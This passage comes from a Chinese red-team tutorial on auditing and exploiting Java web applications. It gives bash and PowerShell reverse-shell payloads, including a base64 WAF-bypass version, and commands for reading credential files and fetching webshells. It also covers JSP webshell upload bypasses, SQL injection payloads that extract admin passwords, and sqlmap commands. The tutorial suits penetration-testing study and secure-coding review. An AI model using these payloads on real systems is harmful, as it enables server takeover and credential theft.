      \u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\u7684\u5229\u7528\u6838\u5fc3\u662f\u6784\u9020\u9002\u914d\u76ee\u6807\u7cfb\u7edf\u7684payload，\u540c\u65f6\u8003\u8651\u76ee\u6807\u7684\u7f51\u7edc\u73af\u5883（\u5916\u7f51\/\u5185\u7f51）\u3001\u9632\u62a4\u63aa\u65bd（WAF\u3001\u547d\u4ee4\u8fc7\u6ee4），\u4f18\u5148\u5b9e\u73b0\u53cd\u5f39shell（\u76f4\u63a5\u62ff\u670d\u52a1\u5668\u6743\u9650），\u82e5\u7f51\u7edc\u53d7\u9650\u5219\u6267\u884c\u672c\u5730\u547d\u4ee4（\u62ff\u654f\u611f\u4fe1\u606f\u3001\u4e0a\u4f20webshell）\u3002<\/p>\n

    • \u7cfb\u7edf\u9002\u914d：Linux\u7cfb\u7edf\u4f7f\u7528bash\/sh\u53cd\u5f39shell，Windows\u7cfb\u7edf\u4f7f\u7528powershell\/cmd；\n
        \n
      • Linux\u53cd\u5f39shell payload：bash -i >& \/dev\/tcp\/\u7ea2\u961fIP\/\u76d1\u542c\u7aef\u53e3 0>&1<\/li>\n
      • Windows\u53cd\u5f39shell payload：powershell -c "$client = New-Object System.Net.Sockets.TCPClient('\u7ea2\u961fIP',\u76d1\u542c\u7aef\u53e3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$x = ($error[0] | Out-String);if($x){$sendback2 = $sendback2 + $x};$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"<\/li>\n<\/ul>\n<\/li>\n
      • \u7f51\u7edc\u53d7\u9650\u5904\u7406：\u82e5\u76ee\u6807\u670d\u52a1\u5668\u65e0\u6cd5\u8bbf\u95ee\u5916\u7f51，\u53ef\u6267\u884ccat \/etc\/passwd\u3001find \/ -name *.jsp\u3001cat \u6570\u636e\u5e93\u914d\u7f6e\u6587\u4ef6\u7b49\u547d\u4ee4\u83b7\u53d6\u654f\u611f\u4fe1\u606f，\u6216\u901a\u8fc7wget\/ curl\u4ece\u7ea2\u961f\u5185\u7f51\u670d\u52a1\u5668\u4e0b\u8f7dwebshell；<\/li>\n
      • \u672c\u5730\u76d1\u542c：\u4f7f\u7528nc\u5de5\u5177\u5728\u7ea2\u961f\u670d\u52a1\u5668\u4e0a\u76d1\u542c\u7aef\u53e3：nc -lvvp \u76d1\u542c\u7aef\u53e3，\u63a5\u6536\u76ee\u6807\u670d\u52a1\u5668\u7684\u53cd\u5f39shell；<\/li>\n
      • WAF\/\u8fc7\u6ee4\u7ed5\u8fc7：\u82e5\u76ee\u6807\u5b58\u5728\u547d\u4ee4\u8fc7\u6ee4（\u5982\u8fc7\u6ee4bash\u3001|\u3001&），\u53ef\u901a\u8fc7base64\u7f16\u7801\u3001\u7279\u6b8a\u5b57\u7b26\u62fc\u63a5\u3001\u7edd\u5bf9\u8def\u5f84\u6267\u884c\u7ed5\u8fc7，\u4f8b\u5982：echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMwMCAwPiYx | base64 -d | bash（base64\u7f16\u7801\u7ed5\u8fc7）\u3002<\/li>\n
        （4）\u524d\u77bb\u6027\u9632\u62a4\u7ed5\u8fc7：SpringBoot\u7684ProcessBuilder\u5751\u70b9<\/h5>\n

        SpringBoot\u4e2d\u90e8\u5206\u5f00\u53d1\u8005\u4f1a\u4f7f\u7528ProcessBuilder\u7684command\u65b9\u6cd5\u4f20\u5165\u53c2\u6570，\u770b\u4f3c\u907f\u514d\u4e86\u62fc\u63a5，\u4f46\u82e5\u5c06\u7528\u6237\u8f93\u5165\u76f4\u63a5\u4f5c\u4e3acommand\u65b9\u6cd5\u7684\u53c2\u6570\u6570\u7ec4\u5143\u7d20，\u4ecd\u53ef\u80fd\u5b58\u5728\u547d\u4ee4\u6267\u884c；\u6b64\u5916，SpringBoot\u7684\u53ef\u6267\u884cJAR\u5305\u8fd0\u884c\u65f6，\u82e5\u5f00\u542f\u4e86exec\u6743\u9650，\u6f0f\u6d1e\u5229\u7528\u7684\u6210\u529f\u7387\u4f1a\u66f4\u9ad8\u3002\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u68c0\u67e5ProcessBuilder\u7684\u53c2\u6570\u4f20\u9012\u65b9\u5f0f，\u907f\u514d\u6f0f\u5224\u6f0f\u6d1e\u3002<\/p>\n

        2. \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e：GetShell\u7684\u201c\u7ecf\u5178\u5229\u5668\u201d<\/h4>\n

        \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u662f\u7ea2\u961f\u6253\u70b9\u7684\u6838\u5fc3\u6f0f\u6d1e\u4e4b\u4e00，\u5229\u7528\u6210\u529f\u540e\u53ef\u901a\u8fc7\u4e0a\u4f20webshell\u5b9e\u73b0\u670d\u52a1\u5668\u7684\u6301\u4e45\u5316\u63a7\u5236，\u4e14\u8be5\u6f0f\u6d1e\u5728Java Web\u9879\u76ee\u7684\u7528\u6237\u5934\u50cf\u4e0a\u4f20\u3001\u9644\u4ef6\u4e0a\u4f20\u3001\u8d44\u6599\u4e0a\u4f20\u7b49\u6a21\u5757\u4e2d\u9891\u7e41\u51fa\u73b0\u3002\u968f\u7740\u5f00\u53d1\u8005\u9632\u62a4\u610f\u8bc6\u7684\u63d0\u5347，\u5355\u7eaf\u7684\u65e0\u6821\u9a8c\u6587\u4ef6\u4e0a\u4f20\u5df2\u51cf\u5c11，\u4f46\u6821\u9a8c\u7f3a\u9677\u3001\u89e3\u6790\u6f0f\u6d1e\u3001\u8def\u5f84\u53ef\u63a7\u7b49\u95ee\u9898\u4ecd\u5bfc\u81f4\u8be5\u6f0f\u6d1e\u6781\u6613\u88ab\u5229\u7528，\u5c24\u5176\u662fTomcat\u3001Jetty\u7b49\u4e2d\u95f4\u4ef6\u7684\u89e3\u6790\u6f0f\u6d1e，\u53ef\u76f4\u63a5\u7ed5\u8fc7\u5f00\u53d1\u8005\u7684\u81ea\u5b9a\u4e49\u8fc7\u6ee4\u3002<\/p>\n

        （1）\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81：\u4e09\u8981\u7d20\u5b9a\u4f4d\u6f0f\u6d1e<\/h5>\n

        \u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u7684\u89e6\u53d1\u9700\u8981\u6ee1\u8db3\u4e09\u4e2a\u6838\u5fc3\u6761\u4ef6，\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u540c\u65f6\u9a8c\u8bc1，\u7f3a\u4e00\u4e0d\u53ef：<\/p>\n

      • \u6821\u9a8c\u7f3a\u9677：\u4ec5\u6821\u9a8c\u6587\u4ef6\u540e\u7f00（\u5982\u9ed1\u540d\u5355\u8fc7\u6ee4.jsp\/.jspx）\u3001\u672a\u6821\u9a8c\u6587\u4ef6\u5185\u5bb9（\u5982\u662f\u5426\u4e3a\u771f\u5b9e\u7684\u56fe\u7247\/\u6587\u6863）\u3001\u672a\u6821\u9a8c\u6587\u4ef6\u5934（\u5982\u56fe\u7247\u7684FF D8 FF）；<\/li>\n
      • \u8def\u5f84\u53ef\u63a7：\u4e0a\u4f20\u540e\u7684\u6587\u4ef6\u4fdd\u5b58\u5728Web\u5bb9\u5668\u7684\u53ef\u8bbf\u95ee\u76ee\u5f55（\u5982Tomcat\u7684\/webapps\/ROOT\/\u3001\/upload\/），\u53ef\u901a\u8fc7HTTP\u8bf7\u6c42\u76f4\u63a5\u8bbf\u95ee；<\/li>\n
      • \u65e0\u91cd\u547d\u540d\/\u91cd\u547d\u540d\u7f3a\u9677：\u4e0a\u4f20\u7684\u6587\u4ef6\u672a\u8fdb\u884c\u968f\u673a\u91cd\u547d\u540d（\u5982\u4f7f\u7528UUID+\u540e\u7f00），\u6216\u91cd\u547d\u540d\u4ec5\u4fee\u6539\u524d\u7f00，\u540e\u7f00\u4ecd\u53ef\u63a7\u3002<\/li>\n

        \u901a\u8fc7\u4ee5\u4e0b\u5173\u952e\u8bcd\u5feb\u901f\u5b9a\u4f4d\u53ef\u7591\u4ee3\u7801：<\/p>\n

          \n
        • \u6587\u4ef6\u4e0a\u4f20\u6838\u5fc3\u51fd\u6570：MultipartFile.transferTo()\u3001FileOutputStream.write()\u3001Files.copy()；<\/li>\n
        • \u540e\u7f00\u6821\u9a8c\u5173\u952e\u8bcd：endsWith()\u3001contains()\u3001indexOf()\u3001StringUtils.endsWithAny()；<\/li>\n
        • \u8def\u5f84\u76f8\u5173\u5173\u952e\u8bcd：getOriginalFilename()\u3001getPath()\u3001File.separator\u3001getResource()\u3002<\/li>\n<\/ul>\n
          （2）\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b：SpringBoot\u7684\u540e\u7f00\u6821\u9a8c\u7ed5\u8fc7\u6f0f\u6d1e<\/h5>\n

          \/\/ \u6f0f\u6d1e\u4ee3\u7801：\u7528\u6237\u5934\u50cf\u4e0a\u4f20\u63a5\u53e3，\u4ec5\u505a\u9ed1\u540d\u5355\u540e\u7f00\u8fc7\u6ee4，\u65e0\u6587\u4ef6\u5185\u5bb9\u6821\u9a8c，\u65e0\u968f\u673a\u91cd\u547d\u540d<\/span>
          \n@RestController<\/span>
          \n@RequestMapping<\/span>(<\/span>"\/user"<\/span>)<\/span>
          \npublic<\/span> class<\/span> UserController<\/span> {<\/span>
          \n \/\/ \u4e0a\u4f20\u8def\u5f84\u4e3aTomcat\u53ef\u8bbf\u95ee\u76ee\u5f55<\/span>
          \n private<\/span> static<\/span> final<\/span> String<\/span> UPLOAD_PATH =<\/span> "\/usr\/local\/tomcat\/webapps\/ROOT\/upload\/"<\/span>;<\/span><\/p>\n

          @PostMapping<\/span>(<\/span>"\/uploadAvatar"<\/span>)<\/span>
          \n public<\/span> String<\/span> uploadAvatar<\/span>(<\/span>@RequestParam<\/span>(<\/span>"file"<\/span>)<\/span> MultipartFile<\/span> file)<\/span> throws<\/span> Exception<\/span> {<\/span>
          \n if<\/span> (<\/span>file.<\/span>isEmpty<\/span>(<\/span>)<\/span>)<\/span> {<\/span>
          \n return<\/span> "\u6587\u4ef6\u4e3a\u7a7a"<\/span>;<\/span>
          \n }<\/span>
          \n \/\/ \u83b7\u53d6\u539f\u59cb\u6587\u4ef6\u540d<\/span>
          \n String<\/span> fileName =<\/span> file.<\/span>getOriginalFilename<\/span>(<\/span>)<\/span>;<\/span>
          \n \/\/ \u9ed1\u540d\u5355\u8fc7\u6ee4：\u7981\u6b62\u4e0a\u4f20jsp\u3001jspx\u3001php\u6587\u4ef6<\/span>
          \n if<\/span> (<\/span>fileName.<\/span>endsWith<\/span>(<\/span>".jsp"<\/span>)<\/span> ||<\/span> fileName.<\/span>endsWith<\/span>(<\/span>".jspx"<\/span>)<\/span> ||<\/span> fileName.<\/span>endsWith<\/span>(<\/span>".php"<\/span>)<\/span>)<\/span> {<\/span>
          \n return<\/span> "\u7981\u6b62\u4e0a\u4f20\u5371\u9669\u6587\u4ef6"<\/span>;<\/span>
          \n }<\/span>
          \n \/\/ \u65e0\u968f\u673a\u91cd\u547d\u540d，\u76f4\u63a5\u4fdd\u5b58<\/span>
          \n File<\/span> dest =<\/span> new<\/span> File<\/span>(<\/span>UPLOAD_PATH +<\/span> fileName)<\/span>;<\/span>
          \n if<\/span> (<\/span>!<\/span>dest.<\/span>getParentFile<\/span>(<\/span>)<\/span>.<\/span>exists<\/span>(<\/span>)<\/span>)<\/span> {<\/span>
          \n dest.<\/span>getParentFile<\/span>(<\/span>)<\/span>.<\/span>mkdirs<\/span>(<\/span>)<\/span>;<\/span>
          \n }<\/span>
          \n \/\/ \u5199\u5165\u6587\u4ef6<\/span>
          \n file.<\/span>transferTo<\/span>(<\/span>dest)<\/span>;<\/span>
          \n \/\/ \u8fd4\u56de\u6587\u4ef6\u8bbf\u95ee\u8def\u5f84<\/span>
          \n return<\/span> "\u4e0a\u4f20\u6210\u529f：http:\/\/localhost\/upload\/"<\/span> +<\/span> fileName;<\/span>
          \n }<\/span>
          \n}<\/span><\/p>\n

          （3）\u7ea2\u961f\u5b9e\u6218\u5229\u7528：\u591a\u7ef4\u5ea6\u7ed5\u8fc7，\u4e0a\u4f20JSP Webshell<\/h5>\n

          \u9488\u5bf9\u4e0a\u8ff0\u6f0f\u6d1e，\u7ea2\u961f\u53ef\u901a\u8fc7\u540e\u7f00\u7ed5\u8fc7\u3001\u89e3\u6790\u6f0f\u6d1e\u300100\u622a\u65ad\u7b49\u65b9\u5f0f，\u4e0a\u4f20\u53ef\u6267\u884c\u7684JSP Webshell，\u5b9e\u73b0GetShell\u3002\u4ee5\u4e0b\u662f\u9002\u914dJava Web\u7684\u4e3b\u6d41\u7ed5\u8fc7\u65b9\u6cd5，\u6309\u5229\u7528\u6210\u529f\u7387\u4ece\u9ad8\u5230\u4f4e\u6392\u5e8f：<\/p>\n

        • \u540e\u7f00\u53d8\u79cd\u7ed5\u8fc7：\u5229\u7528Tomcat\u7684\u89e3\u6790\u7279\u6027，\u4e0a\u4f20.jspx\u3001.jspf\u3001.jsw\u7b49\u540e\u7f00\u7684webshell，\u82e5\u5f00\u53d1\u8005\u4ec5\u8fc7\u6ee4\u4e86.jsp，\u5219\u53ef\u76f4\u63a5\u7ed5\u8fc7；<\/li>\n
        • 00\u622a\u65ad\u7ed5\u8fc7：\u4e0a\u4f20shell.jsp%00.png，\u5229\u7528\u6587\u4ef6\u7cfb\u7edf\u768400\u622a\u65ad\u7279\u6027，\u5c06\u6587\u4ef6\u5b9e\u9645\u4fdd\u5b58\u4e3ashell.jsp，\u9002\u7528\u4e8eJava 7\u53ca\u4ee5\u4e0b\u7248\u672c（Java 8\u5df2\u4fee\u590d\u8be5\u6f0f\u6d1e）；<\/li>\n
        • \u6587\u4ef6\u5934\u6b3a\u9a97\u7ed5\u8fc7：\u5728JSP Webshell\u524d\u6dfb\u52a0\u56fe\u7247\u6587\u4ef6\u5934（\u5982FF D8 FF E0 00 10 4A 46 49 46 00 01），\u5c06\u6587\u4ef6\u547d\u540d\u4e3ashell.jpg.jsp，\u7ed5\u8fc7\u7b80\u5355\u7684\u6587\u4ef6\u5185\u5bb9\u6821\u9a8c；<\/li>\n
        • Tomcat\u89e3\u6790\u6f0f\u6d1e\u7ed5\u8fc7：\u5229\u7528Tomcat 7.x\/8.x\u7684\u89e3\u6790\u6f0f\u6d1e（\u5982CVE-2017-12615），\u5c06\u6587\u4ef6\u4e0a\u4f20\u4e3ashell.jsp\/\u6216shell.jsp%20，Tomcat\u4f1a\u5ffd\u7565\u672b\u5c3e\u7684\/\u6216\u7a7a\u683c，\u5c06\u6587\u4ef6\u89e3\u6790\u4e3aJSP\u6587\u4ef6\u3002<\/li>\n

          \u5b9e\u6218\u6b65\u9aa4：<\/p>\n

        • \u751f\u6210\u9002\u914dTomcat\u7248\u672c\u7684JSP Webshell（\u5982\u51b0\u874e\u3001\u8681\u5251\u7684\u514d\u6740webshell）；<\/li>\n
        • \u901a\u8fc7Burp\u7be1\u6539\u8bf7\u6c42，\u5c06\u6587\u4ef6\u540d\u6539\u4e3ashell.jspx\u6216shell.jpg.jsp，\u6dfb\u52a0\u56fe\u7247\u6587\u4ef6\u5934；<\/li>\n
        • \u4e0a\u4f20\u6587\u4ef6\u540e，\u901a\u8fc7\u8fd4\u56de\u7684\u8bbf\u95ee\u8def\u5f84\u8bbf\u95eewebshell，\u8fde\u63a5\u51b0\u874e\/\u8681\u5251，\u5b9e\u73b0\u670d\u52a1\u5668\u63a7\u5236；<\/li>\n
        • \u82e5\u4e0a\u4f20\u8def\u5f84\u4e0d\u53ef\u8bbf\u95ee，\u53ef\u7ed3\u5408\u76ee\u5f55\u904d\u5386\u6f0f\u6d1e，\u627e\u5230Web\u5bb9\u5668\u7684\u53ef\u8bbf\u95ee\u76ee\u5f55，\u91cd\u65b0\u6784\u9020\u4e0a\u4f20\u8def\u5f84\u3002<\/li>\n
          （4）\u524d\u77bb\u6027\u5e94\u5bf9：\u4e91\u539f\u751f\u90e8\u7f72\u4e0b\u7684\u6587\u4ef6\u4e0a\u4f20\u65b0\u98ce\u9669<\/h5>\n

          \u5728\u4e91\u539f\u751f\u573a\u666f\u4e0b，Java Web\u9879\u76ee\u5e38\u901a\u8fc7Docker\u90e8\u7f72，\u6587\u4ef6\u4e0a\u4f20\u7684\u4fdd\u5b58\u8def\u5f84\u53ef\u80fd\u4e3aDocker\u5bb9\u5668\u5185\u7684\u76ee\u5f55，\u82e5\u5bb9\u5668\u5f00\u542f\u4e86\u5bbf\u4e3b\u673a\u76ee\u5f55\u6302\u8f7d，\u5219\u4e0a\u4f20\u7684webshell\u53ef\u76f4\u63a5\u8bbf\u95ee\u5bbf\u4e3b\u673a\u7684\u6587\u4ef6\u7cfb\u7edf，\u5371\u5bb3\u5927\u5e45\u63d0\u5347；\u6b64\u5916，\u5fae\u670d\u52a1\u67b6\u6784\u4e2d，\u6587\u4ef6\u4e0a\u4f20\u670d\u52a1\u5e38\u4f5c\u4e3a\u72ec\u7acb\u7684\u5fae\u670d\u52a1，\u82e5\u672a\u505a\u8de8\u670d\u52a1\u6743\u9650\u6821\u9a8c，\u53ef\u901a\u8fc7\u8be5\u670d\u52a1\u5411\u5176\u4ed6\u5fae\u670d\u52a1\u7684\u76ee\u5f55\u4e0a\u4f20\u6587\u4ef6\u3002\u7ea2\u961f\u5ba1\u8ba1\u65f6\u9700\u91cd\u70b9\u68c0\u67e5\u6587\u4ef6\u4e0a\u4f20\u7684\u4fdd\u5b58\u8def\u5f84\u662f\u5426\u4e3a\u6302\u8f7d\u76ee\u5f55\u3001\u5fae\u670d\u52a1\u95f4\u7684\u6587\u4ef6\u4f20\u8f93\u662f\u5426\u6709\u6821\u9a8c，\u6316\u6398\u4e91\u539f\u751f\u573a\u666f\u4e0b\u7684\u4e13\u5c5e\u6f0f\u6d1e\u3002<\/p>\n

          3. SQL\u6ce8\u5165\u6f0f\u6d1e：\u5feb\u901f\u62ff\u654f\u611f\u6570\u636e\u7684\u201c\u6838\u5fc3\u624b\u6bb5\u201d<\/h4>\n

          SQL\u6ce8\u5165\u6f0f\u6d1e\u662f\u7ea2\u961f\u83b7\u53d6\u4e1a\u52a1\u6570\u636e\u3001\u8f85\u52a9\u6a2a\u5411\u6e17\u900f\u7684\u6838\u5fc3\u6f0f\u6d1e，\u5229\u7528\u6210\u529f\u540e\u53ef\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7684\u7ba1\u7406\u5458\u8d26\u53f7\u5bc6\u7801\u3001\u7528\u6237\u4fe1\u606f\u3001\u4e1a\u52a1\u6570\u636e\u7b49，\u8fd9\u4e9b\u4fe1\u606f\u53ef\u8fdb\u4e00\u6b65\u7528\u4e8e\u767b\u5f55\u540e\u53f0\u3001\u7834\u89e3\u5176\u4ed6\u7cfb\u7edf\u8d26\u53f7\u3001\u5b9e\u73b0\u6a2a\u5411\u6269\u5c55\u3002Java Web\u9879\u76ee\u4e2d，SQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u4ea7\u751f\u4e3b\u8981\u6e90\u4e8e\u5f00\u53d1\u8005\u672a\u4f7f\u7528\u9884\u7f16\u8bd1\u8bed\u53e5\u3001ORM\u6846\u67b6\u4f7f\u7528\u4e0d\u5f53，\u5176\u4e2dMyBatis\u6846\u67b6\u56e0\u7075\u6d3b\u7684SQL\u7f16\u5199\u65b9\u5f0f，\u6210\u4e3aSQL\u6ce8\u5165\u6f0f\u6d1e\u7684\u91cd\u707e\u533a\u3002<\/p>\n

          \u968f\u7740SpringBoot\u751f\u6001\u7684\u666e\u53ca，JPA\/Hibernate\u7b49ORM\u6846\u67b6\u7684\u4f7f\u7528\u6bd4\u4f8b\u63d0\u5347，\u539f\u751fJDBC\u7684SQL\u6ce8\u5165\u5df2\u51cf\u5c11，\u4f46MyBatis\u7684**${}\u62fc\u63a5\u3001\u52a8\u6001SQL\u62fc\u63a5\u3001\u5b58\u50a8\u8fc7\u7a0b\u8c03\u7528**\u4ecd\u5bfc\u81f4SQL\u6ce8\u5165\u6f0f\u6d1e\u9891\u7e41\u51fa\u73b0，\u4e14\u8be5\u7c7b\u6f0f\u6d1e\u66f4\u5177\u9690\u853d\u6027，\u9700\u7ed3\u5408ORM\u6846\u67b6\u7684\u7279\u6027\u8fdb\u884c\u5ba1\u8ba1\u3002<\/p>\n

          （1）\u6838\u5fc3\u5ba1\u8ba1\u7279\u5f81：\u6309ORM\u6846\u67b6\u5206\u7c7b\u5b9a\u4f4d<\/h5>\n

          Java Web\u9879\u76ee\u7684SQL\u6ce8\u5165\u6f0f\u6d1e\u4e0eORM\u6846\u67b6\u5f3a\u76f8\u5173，\u7ea2\u961f\u9700\u6309\u539f\u751fJDBC\u3001MyBatis\u3001Hibernate\/JPA\u5206\u7c7b\u5ba1\u8ba1，\u4e0d\u540c\u6846\u67b6\u7684\u5ba1\u8ba1\u7279\u5f81\u5dee\u5f02\u663e\u8457，\u901a\u8fc7\u5173\u952e\u8bcd\u53ef\u5feb\u901f\u5b9a\u4f4d：<\/p>\n\nORM\u6846\u67b6\u5ba1\u8ba1\u5173\u952e\u8bcd\u6f0f\u6d1e\u6838\u5fc3\u539f\u56e0\u9ad8\u6982\u7387\u51fa\u73b0\u4f4d\u7f6e<\/tr>\n\n\n\n
          \u539f\u751fJDBC<\/td>\nStatement\u3001String\u62fc\u63a5\u3001executeQuery<\/td>\n\u4f7f\u7528Statement\u800c\u975ePreparedStatement，\u7528\u6237\u8f93\u5165\u76f4\u63a5\u62fc\u63a5SQL<\/td>\n\u8001\u65e7\u9879\u76ee\u3001\u81ea\u5b9a\u4e49\u6570\u636e\u8bbf\u95ee\u5de5\u5177\u7c7b<\/td>\n<\/tr>\n
          MyBatis<\/td>\n${}\u3001@Select\u3001<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

          \u5ba1\u8ba1\u5173\u952e：\u5224\u65ad\u7528\u6237\u53ef\u63a7\u8f93\u5165\u662f\u5426\u901a\u8fc7\u975e\u9884\u7f16\u8bd1\u65b9\u5f0f\u4f20\u5165SQL\u8bed\u53e5，\u5c24\u5176\u662fMyBatis\u7684${}\u62fc\u63a5，\u5373\u4f7f\u662f\u7b80\u5355\u7684\u6392\u5e8f\u3001\u5206\u9875\u53c2\u6570，\u4e5f\u53ef\u80fd\u5b58\u5728SQL\u6ce8\u5165\u3002<\/p>\n

          （2）\u5b9e\u6218\u5ba1\u8ba1\u6848\u4f8b：MyBatis\u7684${}\u62fc\u63a5SQL\u6ce8\u5165\u6f0f\u6d1e<\/h5>\n
          \u6848\u4f8b1：MyBatis\u6ce8\u89e3\u5f0f${}\u62fc\u63a5\u6ce8\u5165<\/h6>\n

          \/\/ \u6f0f\u6d1e\u4ee3\u7801：\u7528\u6237\u67e5\u8be2\u63a5\u53e3，\u6392\u5e8f\u5b57\u6bb5sort\u4f7f\u7528${}\u62fc\u63a5，\u5b58\u5728SQL\u6ce8\u5165<\/span>
          \n@Mapper<\/span>
          \npublic<\/span> interface<\/span> UserMapper<\/span> {<\/span>
          \n \/\/ \u9519\u8bef\u5199\u6cd5：${sort}\u76f4\u63a5\u62fc\u63a5，\u65e0\u9884\u7f16\u8bd1<\/span>
          \n @Select<\/span>(<\/span>"select id, username, password from user order by ${sort}"<\/span>)<\/span>
          \n List<\/span><<\/span>User<\/span>><\/span><\/span> listUser<\/span>(<\/span>@Param<\/span>(<\/span>"sort"<\/span>)<\/span> String<\/span> sort)<\/span>;<\/span>
          \n}<\/span><\/p>\n

          \/\/ \u63a7\u5236\u5668\u5c42：sort\u53c2\u6570\u4e3a\u7528\u6237\u53ef\u63a7\u8f93\u5165<\/span>
          \n@RestController<\/span>
          \n@RequestMapping<\/span>(<\/span>"\/user"<\/span>)<\/span>
          \npublic<\/span> class<\/span> UserController<\/span> {<\/span>
          \n @Autowired<\/span>
          \n private<\/span> UserMapper<\/span> userMapper;<\/span><\/p>\n

          @GetMapping<\/span>(<\/span>"\/list"<\/span>)<\/span>
          \n public<\/span> List<\/span><<\/span>User<\/span>><\/span><\/span> list<\/span>(<\/span>@RequestParam<\/span> String<\/span> sort)<\/span> {<\/span>
          \n return<\/span> userMapper.<\/span>listUser<\/span>(<\/span>sort)<\/span>;<\/span>
          \n }<\/span>
          \n}<\/span><\/p>\n

          \u6848\u4f8b2：MyBatis XML\u6620\u5c04\u6587\u4ef6\u7684\u52a8\u6001SQL\u62fc\u63a5\u6ce8\u5165<\/h6>\n

          <!– \u6f0f\u6d1e\u4ee3\u7801：XML\u6620\u5c04\u6587\u4ef6\u4e2d，\u6839\u636e\u7528\u6237\u8f93\u5165\u7684type\u62fc\u63a5SQL，\u65e0\u8fc7\u6ee4 –><\/span>
          \n<<\/span>select<\/span> id<\/span>=<\/span>"<\/span>listOrder"<\/span><\/span> resultType<\/span>=<\/span>"<\/span>com.entity.Order"<\/span><\/span>><\/span><\/span>
          \n select * from order
          \n <<\/span>where<\/span>><\/span><\/span>
          \n 1=1
          \n <<\/span>if<\/span> test<\/span>=<\/span>"<\/span>type != null and type != '<\/span>'<\/span>"<\/span><\/span>><\/span><\/span>
          \n and type = ${type}
          \n <\/<\/span>if<\/span>><\/span><\/span>
          \n <\/<\/span>where<\/span>><\/span><\/span>
          \n<\/<\/span>select<\/span>><\/span><\/span><\/p>\n

          （3）\u7ea2\u961f\u5b9e\u6218\u5229\u7528：\u4ece\u62a5\u9519\u6ce8\u5165\u5230\u8131\u5e93，\u9002\u914dJava\u751f\u6001<\/h5>\n

          Java Web\u9879\u76ee\u7684SQL\u6ce8\u5165\u5229\u7528\u9700\u9002\u914d\u6570\u636e\u5e93\u7c7b\u578b（MySQL\/Oracle\/SQL Server）\u3001\u6846\u67b6\u8fc7\u6ee4\u7279\u6027\u3001WAF\u9632\u62a4\u63aa\u65bd，\u7ea2\u961f\u4f18\u5148\u4f7f\u7528\u62a5\u9519\u6ce8\u5165\u3001\u8054\u5408\u67e5\u8be2\u6ce8\u5165，\u5feb\u901f\u83b7\u53d6\u654f\u611f\u6570\u636e，\u82e5\u6ce8\u5165\u70b9\u4e3a\u76f2\u6ce8，\u5219\u4f7f\u7528SQLMap\u81ea\u52a8\u5316\u8131\u5e93\u3002<\/p>\n

          \u5b9e\u6218\u5229\u7528\u6280\u5de7：<\/p>\n

        • \u62a5\u9519\u6ce8\u5165\u4f18\u5148：\u6784\u9020payload\u89e6\u53d1\u6570\u636e\u5e93\u62a5\u9519，\u76f4\u63a5\u83b7\u53d6\u6570\u636e，\u9002\u7528\u4e8e\u6709\u9519\u8bef\u4fe1\u606f\u8fd4\u56de\u7684\u63a5\u53e3，\u4f8b\u5982MySQL\u7684updatexml\u3001extractvalue\u62a5\u9519\u6ce8\u5165：\n
            \n
          • payload：1 and updatexml(1,concat(0x7e,(select concat(username,':',password) from admin limit 1),0x7e),1)<\/li>\n<\/ul>\n<\/li>\n
          • \u5206\u9875\/\u6392\u5e8f\u53c2\u6570\u6ce8\u5165：\u9488\u5bf9MyBatis\u7684\u6392\u5e8f\u5b57\u6bb5\u6ce8\u5165，\u6784\u9020payload\u5b9e\u73b0\u6570\u636e\u67e5\u8be2，\u4f8b\u5982：sort=id desc, (select password from admin limit 1)<\/li>\n
          • SQLMap\u81ea\u52a8\u5316\u5229\u7528：\u5c06Burp\u4e2d\u7684\u8bf7\u6c42\u5305\u4fdd\u5b58\u4e3atxt\u6587\u4ef6，\u4f7f\u7528SQLMap\u6267\u884csqlmap -r request.txt -p sort –dbs，\u81ea\u52a8\u5316\u68c0\u6d4b\u6ce8\u5165\u7c7b\u578b\u3001\u8131\u5e93，\u9002\u914dJava\u751f\u6001\u7684Cookie\/Header\u6ce8\u5165\u3001\u53c2\u6570\u8fc7\u6ee4；<\/li>\n
          • \u654f\u611f\u6570\u636e\u5229\u7528：\u83b7\u53d6\u6570\u636e\u5e93\u4e2d\u7684\u7ba1\u7406\u5458\u5bc6\u7801\u540e，\u4f18\u5148\u5c1d\u8bd5\u5bc6\u7801\u590d\u7528（\u767b\u5f55\u540e\u53f0\u3001\u670d\u52a1\u5668\u3001\u5176\u4ed6\u7cfb\u7edf），\u82e5\u5bc6\u7801\u52a0\u5bc6（\u5982MD5\/SHA256），\u53ef\u901a\u8fc7\u5f69\u8679\u8868\u7834\u89e3，\u6216\u76f4\u63a5\u4f7f\u7528\u52a0\u5bc6\u5bc6\u7801\u5c1d\u8bd5\u767b\u5f55（\u90e8\u5206\u7cfb\u7edf\u672a\u505a\u5bc6\u7801\u52a0\u76d0）\u3002<\/li>\n
            （4）\u524d\u77bb\u6027\u5ba1\u8ba1：\u5fae\u670d\u52a1\u4e0b\u7684SQL\u6ce8\u5165\u65b0\u5f62\u5f0f<\/h5>\n

